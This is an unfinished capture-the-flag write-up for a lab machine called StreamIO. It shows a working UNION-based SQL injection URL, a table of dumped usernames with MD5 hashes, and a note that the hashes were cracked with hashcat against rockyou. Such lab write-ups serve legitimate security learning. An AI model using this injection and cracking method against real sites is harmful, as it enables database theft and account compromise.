StreamIO¶

Machine Profile

OS: Windows Difficulty: Medium IP: 10.10.11.158 Status: SQLi credential dump complete — chain in progress Key techniques: SQL injection · password spray · LAPS

Reconnaissance¶

streamio.htb is a media-streaming web app. The search form on the main page calls ?search= against a SQL backend.

StreamIO — search interface

Initial Foothold — Union-Based SQL Injection¶

The ?search= parameter is vulnerable to UNION-based SQL injection. Standard column count enumeration → UNION SELECT against the users table returns usernames and MD5 password hashes inline:

http://watch.streamio.htb/search.php?q=test') UNION SELECT 1, username, password, 4 FROM users--

Output:

Username	MD5 hash
admin	`665a50ac9eaa781e4f7f04199db97a11`
Alexendra	`1c2b3d8270321140e5153f6637d3ee53`
Austin	`0049ac57646627b8d7aeaccf8b6a936f`
Barbra	`3961548825e3e21df5646cafe11c6c76`
Barry	`54c88b2dbd7b1a84012fabc1a4c73415`
Baxter	`22ee218331afd081b0dcd8115284bae3`
Bruno	`2a4e2cf22dd8fcb45adcb91be1e22ae8`
Carmon	`35394484d89fcfdb3c5e447fe749d213`
Clara	`ef8f3d30a856cf166fb8215aca93e9ff`
...	...

StreamIO — UNION SQLi credential dump

Cracking¶

hashcat -m 0 against rockyou cracks several of the MD5 hashes immediately.

Engagement Status¶

✅ Recon
✅ SQLi exploited, credential dump captured
✅ Hashes cracked
⏳ Password spray against streamio-admin.htb portal
⏳ LAPS-based privesc not yet attempted

Writeup to be expanded once the chain is completed.

Key Takeaways So Far¶

MD5 password storage is still painfully common even in 2026 boxes — and offline cracking of MD5 against rockyou is essentially instant on consumer GPUs.
UNION-based SQLi is the textbook fast path when the application's response is rendered as a list. Match column count, drop your UNION SELECT, exfil at line speed.

Tools Used¶

nmap · dirsearch · gobuster · Burp Suite · Manual SQLi · hashcat